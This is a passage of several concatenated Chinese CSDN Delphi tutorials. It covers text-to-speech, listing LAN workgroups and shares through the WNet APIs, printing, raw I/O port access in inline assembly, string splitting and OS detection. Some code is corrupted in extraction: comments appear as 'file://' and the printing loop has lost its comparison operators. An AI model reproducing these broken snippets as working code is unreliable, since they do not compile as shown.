----由 于Delphi 对 接 口 进 行 了 良 好 的 包 装， 因 此 只 需 直 接 建 立 包 装 类， 其 他 后 台 的 操 作 如 接 口 的 查 询、 释 放 等 交 给Delphi 在 后 台 自 动 完 成。

----注 意 这 里 的Register 操 作 是 必 不 可 少 的， 因 为 可 能 有 多 个 程 序 不 同 设 置 使 用TTS 引 擎。

----然 后 在MainForm 上 放 一 个TMemo 和 若 干 个 TButton， 并 在 其OnClick 中 加 入 对 应 的 代 码。

Form 定 义 如 下：

    object frmMain: TfrmMain
      Left = 296
      Top = 187
      BorderStyle = bsDialog
      Caption = ‘ 英 文 全 文 朗 读 演 示'
      ClientHeight = 185
      ClientWidth = 456
      Color = clBtnFace
      Font.Charset = GB2312_CHARSET
      Font.Color = clWindowText
      Font.Height = －12
      Font.Name = ‘ 宋 体'
      Font.Style = []
      OldCreateOrder = False
      Position = poDesktopCenter
      OnCreate = FormCreate
      PixelsPerInch = 96
      TextHeight = 12
      object memText: TMemo
        Left = 8
        Top = 8
        Width = 361
        Height = 169
        ScrollBars = ssVertical
        TabOrder = 0
      end
      object btnRead: TButton
        Left = 376
        Top = 8
        Width = 75
        Height = 25
        Caption = ‘ 朗 读( ＆R)'
        TabOrder = 1
        OnClick = btnReadClick
      end
      object btnPause: TButton
        Left = 376
        Top = 40
        Width = 75
        Height = 25
        Caption = ‘ 暂 停( ＆P)'
        Enabled = False
        TabOrder = 2
        OnClick = btnPauseClick
      end
      object btnStop: TButton
        Left = 376
        Top = 72
        Width = 75
        Height = 25
        Caption = ‘ 停 止( ＆S)'
        Enabled = False
        TabOrder = 3
        OnClick = btnStopClick
      end
      object btnForward: TButton
        Left = 376
        Top = 120
        Width = 75
        Height = 25
        Caption = ‘ 下 一 句( ＆N)'
        Enabled = False
        TabOrder = 4
        OnClick = btnForwardClick
      end
      object btnRewind: TButton
        Left = 376
        Top = 152
        Width = 75
        Height = 25
        Caption = ‘ 上 一 句( ＆W)'
        Enabled = False
        TabOrder = 5
        OnClick = btnRewindClick
      end
    end

----关 键 代 码 段 如 下：

---- 1. 朗 读 与 停 止

    ...
procedure TfrmMain.btnReadClick(Sender: TObject);
    begin
      FISpeech.Speak(memText.Lines.Text, vtxtst_
READING);
      btnPause.Enabled := True;
      btnStop.Enabled  := True;
    end;

procedure TfrmMain.btnStopClick(Sender: TObject);
    begin
      FISpeech.StopSpeaking;
      btnPause.Enabled := False;
      btnStop.Enabled  := False;
      btnPause.Caption := ‘ 暂 停( ＆P)';
    end;
      ...

----Speak 成 员 函 数 的 第 一 个 参 数 向TTS 引 擎 传 递 需 要 朗 读 的 文 字， 第 二 个 参 数 由 指 定 朗 读 时 使 用 的 语 气 和 优 先 级 的 两 个 符 号 合 并 而 成。

---- 2. 暂 停 与 恢 复

    ...
procedure TfrmMain.btnPauseClick(Sender: TObject);
    begin
      with FISpeech do
      if IsSpeaking then
      begin
        AudioPause;
        btnPause.Caption := ‘ 恢 复( ＆R)';
      end
      else
      begin
        AudioResume;
        btnPause.Caption := ‘ 暂 停( ＆P)';
      end;
end;
...

----这 里 通 过IsSpeaking 属 性 可 以 取 得 当 前 状 态， 然 后 通 过AudioPause 和AudioResume 暂 停 和 恢 复 朗 读。

----另 外 用 成 员 函 数AudioFastForward 和AudioRewind 可 以 向 前 和 后 跳 过 一 句 朗 读， 通 过 读 写Speed 属 性 还 可 以 取 得 或 设 置 朗 读 的 语 速， 单 位 是 字/ 分， 缺 省 值 为170。

----注 意Speed 和Enabled 属 性 缺 省 设 置 是 只 写 的， 但 实 际 上IVTxtAuto 提 供 了Get_Speed 和Get_Enabled 函 数， 所 以 我 们 只 要 把VTxtAuto_TLB 单 元 中 的 声 明 修 改 一 下， 如:

      ...
IVTxtAuto = interface(IDispatch)
          ...
  property Speed: Integer read Get_Speed write Set_Speed;
  property Enabled: Integer read Get_Enabled write Set_Enabled;
          ...
end;
      ...

----即 可 正 常 使 用Speed 和Enabled 属 性 了。

----至 此， 一 个 简 单 的 英 文 全 文 朗 读 器 就 完 成 了， 有 兴 趣 的 朋 友 可 以 为 其 加 入 监 视 剪 贴 板， 热 键 激 活 等 功 能。

----本 文 程 序 在Win NT/98 ＋ Delphi 4/5 环 境 下 调 试 通 过。


CSDN_文档中心_在delhpi程序中获取网络资源信息

在delhpi程序中获取网络资源信息
王发军

    充分利用局域网中的共享资源，无疑将减少用户的硬件和软件投资。在我们的程序中，常常会需要列举局域网络中的共享资源，如在ＭＩＤＡＳ多层应用程序中可能要选择上层应用程序所在的服务器的名称、在打印模块中选择可用的网络打印机、在应用程序中选择其它机器上的共享文件等。

    以一个ＭＩＤＡＳ三层数据库应用程序为例子，我们可以用ＤＥＬＰＨＩ制作一个客户端应用程序和一个中间层业务处理程序，由中间层业务处理程序向数据库存取数据，再将结果反馈到客户端。当客户端应用程序与中间层程序和数据库服务程序不在一台机器上时，需要指定中间层程序和数据库服务程序所在的服务器的名称。

    在ＤＥＬＰＨＩ程序中，我们可以通过ＷＩＮ　ＡＰＩ来列举局域网络中的服务器名称、用户计算机名称、用户共享目录和文件、共享打印机等资源，这些ＡＰＩ由文件ＭＰＲ．ＤＬＬ提供。

    下面以ＷＩＮ９Ｘ的对等网络为例子，列举“网络邻居”中的工作组名称、用户计算机名称、共享目录和文件、共享打印机等资源。

    一、列举“网络邻居”中的工作组名称

    在“网络邻居”中，打开“整个网络”，可以看到网络中的所有工作组的名称。在ＤＥＬＰＨＩ程序中，可以用ＡＰＩ函数WNetOpenEnum和WNetEnumResource来列举“网络邻居”中的工作组名称。

    下面是两个ＡＰＩ函数的简介，具体请参见ＤＥＬＰＨＩ帮助文件。

    //WNetOpenEnum用于获取一个网络资源句柄，作为WNetEnumResource列举网络资源的依据，其函数原型如下：

    function WNetOpenEnum(

    dwScope,//网络范围,RESOURCE_CONNECTED(已连接机器),RESOURCE_GLOBALNET(所有机器),

    RESOURCE_REMEMBERED(已记忆的机器)

    dwType,//资源类型,RESOURCETYPE_ANY(所有资源),RESOURCETYPE_DISK(文件资源),

    RESOURCETYPE_PRINT(打印资源)

    dwUsage//资源用途,0(所有资源),RESOURCEUSAGE_CONNECTABLE(所有可连接资源),

    RESOURCEUSAGE_CONTAINER(所有container资源)仅在dwScope为RESOURCE_GLOBALNET是有效: DWORD;

    lpNetResource: PNetResource;//NetResource类型指针，其内存表示网络资源的层次,为NIL时

    表示最上层，仅在dwScope为RESOURCE_GLOBALNET时有效,其它情况时应为NIL

    var lphEnum: THandle//返回网络资源句柄，是WNetEnumResource进一步列举网络资源的依据

    ): DWORD; stdcall;返回值NO_ERROR表示执行成功，否则应用GetLastError获取错误信息

    //WNetEnumResource用于列出当前网络中可用的资源，包括文件资源和打印资源，其函数原型如下：

    function WNetEnumResource(hEnum: THandle;//WNetEnumResource进一步列举网络资源的依据,通常由WNetOpenEnum取得var lpcCount: DWORD;//要取得资源的数目，$FFFFFFFF表示列出所有资源，返回值为实际资源数目lpBuffer: Pointer;//接收结果的缓冲区的指针，一般是NetResource类型的数组var lpBufferSize: DWORD//接收结果的缓冲区大小(Byte)): DWORD; stdcall;返回值为NO_ERROR(执行成功)或ERROR_NO_MORE_ITEMS(资源列举完毕)，否则应用GetLastError获取错误信息。

    要列举网络中的工作组信息，首先要获取网络中的网络类型，再获取每一种类型网络中包含的工作组的名称。

    １、获取网络类型信息

    局域网中可以是由多种类型的网络组成，如由Microsoft、Novell等类型的网络组成。用ＡＰＩ

    函数WNetOpenEnum和WNetEnumResource可以获取网络类型信息。

    （１）用WNetOpenEnum函数返回一个句柄，作为WNetEnumResource列举网络资源的依据。我们的目

    标是列举“整个网络”的工作组名称，因而网络范围为RESOURCE_GLOBALNET(所有机器)、资源类

    型为RESOURCETYPE_DISK(文件资源)、资源用途为RESOURCEUSAGE_CONTAINER(所有container资源)、

    网络层次为最高层(NIL)，这样可以得到一个句柄，以便进一步列举网络资源。具体的程序段如下：

    { Res : DWORD; lphEnum : THandle; }

    Res := WNetOpenEnum( RESOURCE_GLOBALNET, RESOURCETYPE_DISK,

    RESOURCEUSAGE_CONTAINER, Nil,lphEnum);

    If Res <> NO_ERROR Then exit;//执行失败

    （２）用ＡＰＩ函数WNetEnumResource可以获取网络类型信息，此时要用到上面获取的句柄lphEnum，

    可以获取一个NetResource类型的数组，每个NetResource元素即为一种网络类型信息。

    具体的请参见以下程序段及注释信息。

    type

    TNetResourceArray = ^TNetResource;//网络类型的数组
Var

    NetResource : TNetResource;

    Buf : Pointer;

    Count,BufSize,Res : DWORD;

    lphEnum : THandle;

    p : TNetResourceArray;

    i,j : SmallInt;

    NetworkTypeList : TList;begin

    ......

    Count := $FFFFFFFF;//不限资源数目

    BufSize := 8192;//缓冲区大小设置为8K

    GetMem(Buf, BufSize);//申请内存，用于获取工作组信息

    Res := WNetEnumResource(lphEnum, Count, Pointer(Buf), BufSize);//获取网络类型信息

    If ( Res = ERROR_NO_MORE_ITEMS )//资源列举完毕

      or (Res <> NO_ERROR )//执行失败

    Then Exit;

      P := TNetResourceArray(Buf);

      For I := 0 To Count - 1 Do//记录各个网络类型的信息

    Begin

      NetworkTypeList.Add(p);

      Inc(P);

    End;

    ......end;

    ２、获取工作组信息

    在获取网络类型信息后，可以根据此信息获取此类型网络中的服务器（工作组）信息。

    在WNetOpenEnum函数中，将参数lpNetResource指定为一种网络类型信息，可以获取一个句柄，在WNetEnumResource中利用这个句柄，可以获取一个NetResource类型的数组，每个NetResource元素的lpRemoteName部分即为一个工作组名称（如“MyWorkGroup”）。

    具体的请参见以下程序段及注释信息。

    //列出一个网络类型中的所有工作组名称

    NetResource := TNetResource(NetworkTypeList.Items[J]^);//网络类型信息//获取某个网络类型的文件资源的句柄，NetResource为网络类型信息，lphEnum为返回句柄

    Res := WNetOpenEnum(RESOURCE_GLOBALNET, RESOURCETYPE_DISK,

    RESOURCEUSAGE_CONTAINER, @NetResource,lphEnum);

    If Res <> NO_ERROR Then break;//执行失败

    While true Do//列举一个网络类型的所有工作组的信息

    Begin

      Count := $FFFFFFFF;//不限资源数目

      BufSize := 8192;//缓冲区大小设置为8K

      GetMem(Buf, BufSize);//申请内存，用于获取工作组信息

      //获取一个网络类型的文件资源信息，

      Res := WNetEnumResource(lphEnum, Count, Pointer(Buf), BufSize);

    If ( Res = ERROR_NO_MORE_ITEMS ) //资源列举完毕

    or (Res <> NO_ERROR) //执行失败

    then break;

      P := TNetResourceArray(Buf);

      For I := 0 To Count - 1 Do//列举各个工作组的信息

    Begin

      List.Add( StrPAS( P^.lpRemoteName ));//取得一个工作组的名称

      Inc(P);

    End;

    End;

    ３、获取工作组信息的完全源代码//列举出整个网络中的工作组名称，返回值为TRUE表示执行成功，

//参数List中返回服务器（工作组）的名称
Function GetServerList( var List : TStringList ) : Boolean;
Var

    NetResource : TNetResource;

    Buf : Pointer;

    Count,BufSize,Res : DWORD;

    lphEnum : THandle;

    p : TNetResourceArray;

    i,j : SmallInt;

    NetworkTypeList : TList;
Begin

    Result := False;

    NetworkTypeList := TList.Create;

    List.Clear;//获取整个网络中的文件资源的句柄，lphEnum为返回名柄

    Res := WNetOpenEnum( RESOURCE_GLOBALNET, RESOURCETYPE_DISK,

    RESOURCEUSAGE_CONTAINER, Nil,lphEnum);

    If Res <> NO_ERROR Then exit;//Raise Exception(Res);//执行失败//获取整个网络中的网络类型信息

      Count := $FFFFFFFF;//不限资源数目

      BufSize := 8192;//缓冲区大小设置为8K

      GetMem(Buf, BufSize);//申请内存，用于获取工作组信息

      Res := WNetEnumResource(lphEnum, Count, Pointer(Buf), BufSize);

    If ( Res = ERROR_NO_MORE_ITEMS )//资源列举完毕

    or (Res <> NO_ERROR )//执行失败

    Then Exit;

      P := TNetResourceArray(Buf);

    For I := 0 To Count - 1 Do//记录各个网络类型的信息

      Begin

        NetworkTypeList.Add(p);

        Inc(P);

      End;

    //WNetCloseEnum关闭一个列举句柄

    Res := WNetCloseEnum(lphEnum);//关闭一次列举

    If Res <> NO_ERROR Then exit;

      For J := 0 To NetworkTypeList.Count-1 Do //列出各个网络类型中的所有工作组名称

      Begin//列出一个网络类型中的所有工作组名称

        NetResource := TNetResource(NetworkTypeList.Items[J]^);//网络类型信息//获取某个网络类型的文件资源的句柄，NetResource为网络类型信息，lphEnum为返回名柄

        Res := WNetOpenEnum(RESOURCE_GLOBALNET, RESOURCETYPE_DISK,

        RESOURCEUSAGE_CONTAINER, @NetResource,lphEnum);

      If Res <> NO_ERROR Then break;//执行失败

    While true Do//列举一个网络类型的所有工作组的信息

    Begin

      Count := $FFFFFFFF;//不限资源数目

      BufSize := 8192;//缓冲区大小设置为8K

      GetMem(Buf, BufSize);//申请内存，用于获取工作组信息

      //获取一个网络类型的文件资源信息，

      Res := WNetEnumResource(lphEnum, Count, Pointer(Buf), BufSize);

    If ( Res = ERROR_NO_MORE_ITEMS ) //资源列举完毕

    or (Res <> NO_ERROR) //执行失败

    then break;

      P := TNetResourceArray(Buf);

    For I := 0 To Count - 1 Do//列举各个工作组的信息

      Begin

        List.Add( StrPAS( P^.lpRemoteName ));//取得一个工作组的名称

        Inc(P);

      End;

    End;

      Res := WNetCloseEnum(lphEnum);//关闭一次列举

      If Res <> NO_ERROR Then break;//执行失败

    End;

      Result := True;

      FreeMem(Buf);

      NetworkTypeList.Destroy;
End;

    二、列举一个工作组中的计算机名称

    在WNetOpenEnum函数中，将参数lpNetResource中的lpRemoteName部分指定为一个工作组的名称（如“MyWorkGroup”），可以获取一个句柄，在WNetEnumResource中利用这个句柄，可以获取一个NetResource类型的数组，每个NetResource元素的lpRemoteName部分即为一个计算机名称（如“\\wangfajun”）。

    具体的请参见以下程序段及注释信息。

    NetResource.lpRemoteName := @GroupName[1];//指定工作组名称

    NetResource.dwDisplayType := RESOURCEDISPLAYTYPE_SERVER;//显示类型为服务器（工作组）

    NetResource.dwUsage := RESOURCEUSAGE_CONTAINER;

    NetResource.dwScope := RESOURCETYPE_DISK;//列举文件资源信息

    //获取指定工作组的网络资源句柄

    Res := WNetOpenEnum( RESOURCE_GLOBALNET, RESOURCETYPE_DISK,

    RESOURCEUSAGE_CONTAINER, @NetResource,lphEnum);

    获取计算机名称的完全程序源代码如下：

    //列举出指定工作组GroupName中的计算机名称，返回值为TRUE表示执行成功，//参数List中返回计算机名称Function GetUsers( GroupName : string; var List : TStringList ) : Boolean;Var

    NetResource : TNetResource;

    Buf : Pointer;

    Count,BufSize,Res : DWord;

    Ind : Integer;

    lphEnum : THandle;

    Temp : TNetResourceArray;
Begin

    Result := False;

    List.Clear;

    FillChar(NetResource, SizeOf(NetResource), 0);//初始化网络层次信息

    NetResource.lpRemoteName := @GroupName[1];//指定工作组名称

    NetResource.dwDisplayType := RESOURCEDISPLAYTYPE_SERVER;//类型为服务器（工作组）

    NetResource.dwUsage := RESOURCEUSAGE_CONTAINER;

    NetResource.dwScope := RESOURCETYPE_DISK;//列举文件资源信息

    //获取指定工作组的网络资源句柄

    Res := WNetOpenEnum( RESOURCE_GLOBALNET, RESOURCETYPE_DISK,

    RESOURCEUSAGE_CONTAINER, @NetResource,lphEnum);

    If Res <> NO_ERROR Then Exit; //执行失败

    While True Do//列举指定工作组的网络资源

  Begin

    Count := $FFFFFFFF;//不限资源数目

    BufSize := 8192;//缓冲区大小设置为8K

    GetMem(Buf, BufSize);//申请内存，用于获取工作组信息

    //获取计算机名称

    Res := WNetEnumResource(lphEnum, Count, Pointer(Buf), BufSize);

    If Res = ERROR_NO_MORE_ITEMS Then break;//资源列举完毕

    If (Res <> NO_ERROR) then Exit;//执行失败

    Temp := TNetResourceArray(Buf);

    For Ind := 0 to Count - 1 do//列举工作组的计算机名称

  Begin

    //获取工作组的计算机名称，+2表示删除"\\"，如\\wangfajun=>wangfajun

    List.Add(Temp^.lpRemoteName + 2);

    Inc(Temp);

  End;

  End;

    Res := WNetCloseEnum(lphEnum);//关闭一次列举

    If Res <> NO_ERROR Then exit;//执行失败

    Result := True;

    FreeMem(Buf);
End;

    三、列举一个计算机中的共享资源

    在WNetOpenEnum函数中，将参数lpNetResource中的lpRemoteName部分指定为一个计算机的名称（如“\\wangfajun”），可以获取一个句柄，在WNetEnumResource中利用这个句柄，可以获取一个NetResource类型的数组，每个NetResource元素的lpRemoteName部分即为计算机中的共享资源名称（可以是共享目录和文件名称、共享打印机名称等，如“\\wangfajun\共享文件”）。

    具体的请参见以下程序段及注释信息。

    NetResource.lpRemoteName := @UserName[1];//指定计算机名称

    //获取指定计算机的网络资源句柄

    Res := WNetOpenEnum( RESOURCE_GLOBALNET, RESOURCETYPE_ANY,

    RESOURCEUSAGE_CONNECTABLE, @NetResource,lphEnum);

    获取计算机名称的完全程序源代码如下：

    //列举出指定计算机UserName中的共享资源名称，返回值为TRUE表示执行成功，//参数List中返回共享资源名称Function GetUserResource( UserName : string ; var List : TStringList ) : Boolean;Var

    NetResource : TNetResource;

    Buf : Pointer;

    Count,BufSize,Res : DWord;

    Ind : Integer;

    lphEnum : THandle;

    Temp : TNetResourceArray;
Begin

    Result := False;

    List.Clear;

    FillChar(NetResource, SizeOf(NetResource), 0);//初始化网络层次信息

    NetResource.lpRemoteName := @UserName[1];//指定计算机名称

    //获取指定计算机的网络资源句柄

    Res := WNetOpenEnum( RESOURCE_GLOBALNET, RESOURCETYPE_ANY,

    RESOURCEUSAGE_CONNECTABLE, @NetResource,lphEnum);

    If Res <> NO_ERROR Then exit;//执行失败

    While True Do//列举指定工作组的网络资源

    Begin

    Count := $FFFFFFFF;//不限资源数目

    BufSize := 8192;//缓冲区大小设置为8K

    GetMem(Buf, BufSize);//申请内存，用于获取工作组信息

    //获取指定计算机的网络资源名称

    Res := WNetEnumResource(lphEnum, Count, Pointer(Buf), BufSize);

    If Res = ERROR_NO_MORE_ITEMS Then break;//资源列举完毕

    If (Res <> NO_ERROR) then Exit;//执行失败

      Temp := TNetResourceArray(Buf);

      For Ind := 0 to Count - 1 do

    Begin

      //获取指定计算机中的共享资源名称，+2表示删除"\\"，

      //如\\wangfajun=>wangfajun

      List.Add(Temp^.lpRemoteName + 2);

      Inc(Temp);

    End;

    End;

    Res := WNetCloseEnum(lphEnum);//关闭一次列举

    If Res <> NO_ERROR Then exit;//执行失败

    Result := True;

    FreeMem(Buf);
End;

    以上程序在PWIN98+DELPHI3.0下调试通过。


CSDN_文档中心_在DELPHI 文 本 和 图 形 的 打 印

在DELPHI 文 本 和 图 形 的 打 印
对 于 每 一 个WINDOWS 应 用 程 序 开 发 者 来 说， 打 印 功 能 的 实 现 都 是 极 为 棘 手 的， 因 为 要 涉 及 到 相 当 多 的 代 码 而 且 常 常 是 相 当 的 复 杂， 但 是 在DELPHI 中 实 现 文 本 和 图 象 的 打 印 功 能 却 是 非 常 容 易 的。
1、 文 本 的 打 印 功 能。DELPHI 中 文 本 的 打 印 功 能 就 如 同 在DOS 中 实 现 文 本 的 打 印 功 能 一 样 容 易， 需 要 做 的 一 切 只 是 取 得 打 印 参 数， 打 开 打 印 机， 然 后 发 送 文 本 的 每 一 行 内 容。 在DELPHI 中 提 供 了 一 个PRINTERS 程 序 单 元， 它 说 明 了 一 个TPRINTER 对 象， 封 装 了WINDOWS 打 印 工 作 和 输 出 打 印 机 之 间 的 接 口， 并 提 供 常 用 的 属 性 和 方 法， 其 中 画 布CANVAS 是 一 个 非 常 有 用 的 属 性， 它 代 表 了 当 前 打 印 文 件 的 表 面， 是 以 图 形 方 式 来 工 作 的， 整 个 的 打 印 输 出 工 作 仅 仅 是 将 你 打 印 的 内 容 输 出 到TPRINTER 的 属 性CANVAS 上， 当 全 部 的 输 出 工 作 完 成 以 后， 打 印 对 象（TPRINTER） 把CANVAS 的 属 性 值 送 到 打 印 机 上 去。

下 面 举 例 来 说 明 如 何 通 过DELPHI 实 现 文 本 内 容 的 打 印。 在DELPHI 中 提 供 了PRINTDIALOG、PRINTERSETUPDIALOG 两 个 控 件 允 许 我 们 进 行 打 印 机 以 及 其 他 影 响 打 印 输 出 的 选 择， 此 外 最 重 要 的 一 点 是 要 想 实 现 打 印 功 能 必 须 在 编 译 程 序 以 前 将PRINTERS 加 入 到INTERFACE 或 者IMPLEMENTATION 的UESE 语 句 当 中， 因 为PRINTER 单 元 包 括ASSIGNPRN 和 其 他 控 制 打 印 机 的 过 程。

首 先 在FORM 当 中 加 入MEMO、PRINTDIALOG、PRINTERSETUPDIALOG 和 两 个BUTTON 控 件， 两 个 BUTTON 的CAPTION 分 别 为“ 打 印 设 置” 和“ 打 印”。 然 后 编 写BUTTON 的 事 件 驱 动 程 序（ 代 码 在 下 面）， 这 个 简 单 的 例 子 中 只 要 单 击“ 打 印” 按 钮 时 便 可 以 在 打 印 机 上 输 出 文 件0S2.TXT， 打 印 事 件 的 清 单 如 下：

implementation

uses printers;

{$R *.DFM}

procedure TForm1.BitBtn1Click(Sender: TObject);

begin

printersetupdialog1.execute; file://选择输出的打印机以及其他打印控制选项

end;

procedure TForm1.BitBtn2Click(Sender: TObject);

var

lines:integer;

prntext:system.text;

file://将PRNTEXT声名为一个在SYSTEM程序单元当中定义的文本文件

begin

if printdialog1.execute then

assignprn(prntext); file://将PRNTEST分配给打印机

rewrite(prntext); file://调用REWRITE函数，为输出打开已分配的文件

printer.canvas.font:=memo1.font;

file://把当前MEMO1的字体指定给打印对象的CANVAS的字体属性

for lines:=0 to memo1.lines.count-1 do

writeln(prntext,memo1.lines[lines]);

file://把MEMO的内容写到打印机对象

system.close(prntext); file://关闭打印文件

end;

procedure TForm1.FormCreate(Sender: TObject);

begin

memo1.lines.loadfromfile('c:\dos\os2.txt');

file://在FORM建立时读入C:\DOS\OS2.TXT文件

end;

end.
2、 图 形 的 打 印 功 能, 简 单 的 图 形 打 印 功 能 也 如 打 印 文 本 一 样 的 容 易， 只 是 告 诉 打 印 机 对 象（TPRINTER） 开 始 打 印， 把 图 形 简 单 的 复 制 到 打 印 机 上 去， 最 后 告 诉 打 印 机 结 束 打 印 工 作。
举 例 说 明： 将 上 面 的 例 子 的MEMO 控 件 换 成IMAGE 控 件， 再 经 过 一 些 简 单 的 修 改， 图 形 打 印 的 代 码 如 下：

procedure TForm1.BitBtn1Click(Sender: TObject);

begin

if printdialog1.execute then begin

printer.begindoc;

printer.canvas.draw(0,0,image1.picture.graphic);

printer.enddoc;

end;

end;
在 这 种 情 况 下， 使 用 的 是 打 印 机 的 分 辨 率， 图 形 在 页 面 的 左 上 角 开 始 打 印 输 出， 打 出 的 图 形 很 小， 在 很 多 的 情 况 下 不 能 符 合 要 求， 但 是 打 印 机 画 布CANVAS 的STRETHDRAW 的 方 法， 可 以 让 我 们 对 图 形 进 行 灵 活 的 处 理， 画 布（CANVAS） 的STRETCHDRAW 方 法 声 名 为：
procedure StretchDraw(const Rect: TRect; Graphic: TGraphic);

其中的RECT参数代表图形输出区域的大小，TRECT的类型声名为：

TRect = record

case Integer of

0: (Left, Top, Right, Bottom: Integer);

1: (TopLeft, BottomRight: TPoint);

end;
因 此 我 们 只 要 调 整RECT 的 大 小 及 其 在 打 印 页 面 上 的 位 置， 进 而 达 到 自 己 满 意 的 效 果， 下 面 的 代 码 是 不 断 的 放 大 图 形， 充 满 我 们 定 义 的 矩 形 区 域， 并 将 其 定 位 在 打 印 机 画 布（CANVAS） 的 中 央 进 行 输 出。 代 码 如 下：
procedure TForm1.Button1Click(Sender: TObject);

VAR

strect:Trect; file://定义打印输出矩形框的大小

temhi,temwd:integer;

begin

if printdialog1.execute then

begin

temhi:=image1.picture.height;

temwd:=image1.picture.width;

while (temhi printer.pageheight div 2)and

file://将图形放大到打印页面的1/2大小

(temwd printer.pagewidth div 2) do

begin

temhi:=temhi+temhi;

temwd:=temwd+temwd;

end;

with strect do file://定义图形在页面上的中心位置输出

begin

left:=(printer.pagewidth -temwd) div 2;

top:=(printer.pageheight-temhi) div 2;

right:=left+temwd;

bottom:=top+temhi;

end;

with printer do

begin

begindoc;

canvas.stretchdraw(strect,image1.picture.graphic);

file://将放大的图形向打印机输出

enddoc;

end;

end;

end;
以 上 代 码 在DELPHI2.0 上 编 译 通 过， 通 过 这 些 小 小 的 例 子， 相 信 大 家 对 于 在DELPHI 中 打 印 图 形 和 文 本 有 一 定 的 了 解， 同 样 通 过 打 印 机 的 画 布（CANVAS） 属 性 也 可 以 实 现 数 据 库 表 单 的 打 印， 在 这 里 不 一 一 赘 述， 如 果 大 家 有 兴 趣 不 妨


CSDN_文档中心_在DELPHI2.0/3.0中直接操作端口

Borland Delphi2.0/3.0以其强大的功能及方便快捷的程序设计
而为广大程序员所喜爱。但是在用它来编写工业控制程序时,需要对
计算机所连接的外部设备进行操作,即直接对I/O地址进行读写操作,
这时该软件就显得有些美中不足了。
针对这一问题,笔者使用Delphi 2.0/3.0以内嵌汇编的方式编写
了一个模块PORT95. PAS,可方便地实现直接对I/O地址的读写操作,代
码简捷且执行速度较快。
使用时只要将PORT95.PAS加到工程文件中,并在users中加上Port
95,就可以在应用程序中直接对I/O端口进行操作。
具体的实现方法及PORT95.PAS的源代码如下:
unit Port95;
interface
function PortReadByte(Addr:Word) : Byte;
function PortReadWord(Addr:Word) : Word;
function PortReadWordLS(Addr:Word) : Word;
procedure PortWriteByte(Addr:Word; Value:Byte);
procedure PortWriteWord(Addr:Word; Value:Word);
procedure PortWriteWordLS(Addr:Word; Value:Word);
implementation
{*
* Port Read byte function
*Parameter:port address
*Return: byte value from given port
*}
function PortReadByte(Addr:Word) : Byte; assembler; regi
ster;
asm
MOV DX,AX
IN AL,DX
end;
{*
* HIGH SPEED Port Read Word function
* Parameter: port address
* Return: word value from given port
* Comment:may problem with some cards and computers that
can't to access whole word, usualy it works.
*}
function PortReadWord(Addr:Word) : Word; assembler; regi
ster;
asm
MOV DX,AX
IN AX,DX
end;
{*
* LOW SPEED Port Read Word function
* Parameter: port address
*Return:word value from given port
*Comment:work in cases,only to adjust DELAY if need
*}
function PortReadWordLS(Addr:Word) : Word; assembler; re
gister;
const
Delay = 150;
// depending of CPU speed and cards speed
asm
MOV DX,AX
IN AL,DX
//read LSB port
MOV ECX,Delay
@1:
LOOP @1 //delay between two reads
XCHG AH,AL
INC DX
//port+1
IN AL,DX //read MSB port
XCHG AH,AL //restore bytes order
end;
{* Port Write byte function*}
procedure PortWriteByte(Addr:Word; Value:Byte); assemble
r; register;
asm
XCHG AX,DX
OUT DX,AL
end;
{*
* HIGH SPEED Port Write word procedure
* Comment:may problem with some cards and computers that
can't to access whole word, usualy it works.
*}
procedure PortWriteWord(Addr:word; Value:word); assemble
r; register;
asm
XCHG AX,DX
OUT DX,AX
end;
{*
* LOW SPEED Port Write Word procedure
*}
procedure PortWriteWordLS(Addr:word; Value:word); assemb
ler; register;
const
Delay = 150;
// depending of CPU speed and cards speed
asm
XCHG AX,DX
OUT DX,AL
MOV ECX,Delay
@1:
LOOP@1
XCHG AH,AL
INC DX
OUT DX,AL
end;
end. //单元结束
上述PORT95.PAS适用于Delphi 2.0/3.0、Windows 95 操作系统
。


CSDN_文档中心_在delphi把字符串分割成一维数组

字符串的处理，往往是很多地方都要用到的。对于一个字符串，可以用以下方法来完成。

type userarray=array of string;

function tform1.split(s:string;dot:char):userarray;
var
str:userarray;
i,j:integer;
begin
i:=1;
j:=0;
SetLength(str, 255);
while Pos(dot, s) > 0 do
begin
str[j]:=copy(s,i,pos(dot,s)-i);
i:=pos(dot,s)+1;
s[i-1] := chr(ord(dot)+1);
j:=j+1;
end;
str[j]:=copy(s,i,strlen(pchar(s))-i+1);
result:=str;
end;

你可以改造一下，让它来达到你需要的结果。


CSDN_文档中心_在Delphi编程中获取操作系统信息

在Delphi编程中获取操作系统信息

我们日常的编程中，常常会去判断用户所使用的操作系统是什么？为什么要这么做，因为：为了使应用程序适应不同的操作系统，能让它运行得更好！如在运行某个应用程序前，应先判断用户所使用的是WIN95/98，还是WIN NT。虽然这两个都是常用的操作系统，但在某些方面是完全不同的，在WIN95/98上运行得很好的程序不一定在WIN NT上也能运行得很好，所以不同的操作系统应有不同的程序代码以适应不同的需要，也为了使程序运行得更好更稳定。

那怎样才能知道用户使用的操作系统是什么呢？我们可以利用API函数来解决，方法如下：

首先做准备工作，新建工程，在PROM1上放上一个LABEL1(CAPTION为空)与一个BUTTON1(CAPTION为获取操作系统信息)，其他属性不变，然后输入以下程序代码：

unit GETVER;

interface

uses

Windows, Messages, SysUtils, Classes, Graphics, Controls, Forms, Dialogs, StdCtrls;

type

TForm1 = class(TForm)

Button1: TButton;

Label1: TLabel;

procedure Button1Click(Sender: TObject);

private

{ Private declarations }

public

{ Public declarations }

end;

var

Form1: TForm1;

implementation

{$R *.DFM}

procedure TForm1.Button1Click(Sender: TObject);

VAR

GETVER:OSVERSIONINFO; //声明所需变量，具体内容请参考API函数说明文件。

RET:LONGBOOL;

begin

GETVER.dwOSVersionInfoSize:=148;

RET:=GETVERSIONEX(GETVER); //调用API函数判断开始

IF GETVER.dwPlatformId=VER_PLATFORM_WIN32_WINDOWS THEN

LABEL1.Caption:='您使用的操作系统是：WINDOWS95/98';

IF GETVER.dwPlatformId=VER_PLATFORM_WIN32_NT THEN

LABEL1.Caption:='您正使用的操作系统是：WINDOWS NT';

end;

end.

现在请运行一下(按F9)，怎么样！是否成功？

不清楚的地方请与作者联系：zch619@hotmail.com，或者可以自己查看相应的API函数说明，笔者就不再重述了！

注：以上程序在WINDOWS 2000，DELPHI5.0版中调试通过。


CSDN_文档中心_在DELPHI程序中拨号上网

    用MODEM拨号上网，仍是大多数个人网民选择上网的方式．如果能在我们的应用程序中启动拨号连接（如IE浏览器程序中的自动拨号功能），无疑将会方便我们的软件用户（不用再切换应用程序，运行拨号网络），提高我们的软件的友好性从而提高软件的竞争力．
